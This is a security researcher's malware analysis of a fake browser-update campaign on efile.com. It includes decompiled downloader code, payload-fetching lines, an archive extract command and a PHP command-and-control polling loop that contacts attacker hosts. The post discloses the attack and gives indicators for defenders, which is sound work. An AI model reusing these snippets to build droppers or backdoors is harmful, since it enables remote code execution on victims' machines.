Yesterday, I wrote about efile.com serving malicious ake “Browser Updates” to some of its users. This morning, efile.com finally removed the malicious code from its site. The attacker reacted a bit faster and removed some of the additional malware. But luckily, I was able to retrieve some of the malware last evening before it was removed.
Depending on the browser, you may have received one of two binaries. “update.exe” or “installer.exe.” These binaries are quite different. I will focus on “update.exe” for two reasons: It was used for Chrome users, which is the vast majority compared to the other option, Firefox. Secondly, “update.exe” is written in Python, making it much easier to analyze.
BLUF (Bottom Line Up Front)
The attack uses two main executables. The first one, “update.exe,” is a simple downloader downloading and executing the second part. The second part is a PHP script communicating with the command and control server. Its main function is to download and execute additional code as instructed to do so. During the installation, basic system information is sent to the attacker, and the backdoor is made persistent via scheduled/on-boot registry entries.
To turn Python scripts into stand-alone executables, PyInstaller is usually used. PyInstaller isn’t a traditional compiler. Instead, it takes the Python bytecode files (.pyc files) and packs them with all the needed libraries, including the Python run time. Finally, it includes a little stub to make it all run.
Reversing such a binary includes two steps:
1. Extract the files PyInstaller used to create the binary. I used pyinstxtractor to do this:
python3 pyinstxtractor.py ../update.exe
2. Decompile the .pyc files. There are about 70 in this case. Most of them are various standard Python libraries. In this case, p.pyc was the “interesting” one.
uncompyle6 p.pyc > p.py
Let’s start by looking at the “main” part of p.py
1 if __name__ == '__main__':
3 HWND = win32gui.GetForegroundWindow()
4 win32gui.SetWindowPos(HWND, None, 9999, 9999, 100, 100, win32con.SWP_NOSENDCHANGING | win32con.SWP_SHOWWINDOW)
5 base_path = 'C:ProgramDataBrowsers'
6 if not os.path.exists(base_path):
9 if not os.path.exists(base_path + 'downloads'):
10 os.mkdir(base_path + 'downloads')
12 if is_admin():
13 priv = 'system'
14 runcode = urllib.request.urlopen('https://www.infoamanewonliag.online/update/code.php?priv=' + priv)
15 runcode = base64.b64decode(runcode.read().decode('utf-8'))
19 priv = 'user'
20 runcode = urllib.request.urlopen('https://www.infoamanewonliag.online/update/code.php?priv=' + priv)
21 runcode = base64.b64decode(runcode.read().decode('utf-8'))
24 except Exception as e:
26 print('got exception: ' + str(e))
27 urllib.request.urlopen('https://www.infoamanewonliag.online/update/error.php?detail=' + base64.urlsafe_b64encode(str(e).encode('utf-8')).decode('utf-8'))
29 e = None
30 del e
Lines 3-5: Move the update.exe window off the screen to hide it.
Lines 6-10: Create a “downloads” directory. This will be used later to download additional code.
Line 11: “init” will download additional code (see below)
Line 12: check if the user is an administrator
Line 13-17: Download the code that will make the backdoor persistent and notify the attacker of the success
Line 18-23: If the user isn’t an administrator, the user is asked to re-run the script as an administrator
Line 24-30: Report any errors back to the attacker.
The “init” function is one of the more complex ways I have seen to run a backdoor. The backdoor is implemented in PHP. It is not a “webshell”. Instead, it polls a URL on the attacker’s system and executes any commands that may be sent. It starts out by loading 4 files:
file1 = down_file('https://channel-platform.s3.ap-east-1.amazonaws.com/package/7z.exe');
file2 = down_file('https://channel-platform.s3.ap-east-1.amazonaws.com/package/php.7z');
file3 = down_file('https://channel-platform.s3.ap-east-1.amazonaws.com/package/1.php');
file4 = down_file('https://channel-platform.s3.ap-east-1.amazonaws.com/package/php.vbs');
extract = file1 + ' x -y -pphpshell -o' + base_path + ' ' + file2;print(extract);os.system(extract)
“file1” appears to be a genuine copy of the compression utility 7zip.
“file 2” is a compressed file containing essentially a complete copy of PHP 7
“file 3” is a PHP script implementing a command and control channel.
“file 4” is a simple VBS script to run 1.php using the PHP interpreter
The main loop of the PHP script:
$res = curl_https($api_url.'query',$data);
$res = json_decode($res,true);
if($res['istask'] > 0)
The code connects to https://www.infoamanewonliag.online/api/query every 10 seconds and executes the command returned. Any command output is sent back again to the same URL. There are three tasks: (1) execute code, (2) download a file (3) schedule execution, which I don’t think is completely implemented.
Here are some of the IoCs you may use to detect this activity:
SHA256 Hashes (all files can be downloaded from Virustotal and Malwarebazaar)
8ac52ca0792baf2a4075fe7c68e5cbe2262da604e2fcdfb9b39656430925c168 php.7z (not malicious)
infomanewonliag.online – main command and control domain
URLs for various code snippets:
Files on the victim’s system:
Who did it?
I have no idea. Some of the attack infrastructure is hosted with Alibaba in China, and some Chinese comments are in the code. So probably someone Chinese. The code is very cobbled together, and the clumsy inclusion of PHP points to a not-so-advanced, but maybe still persistent, threat actor.
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.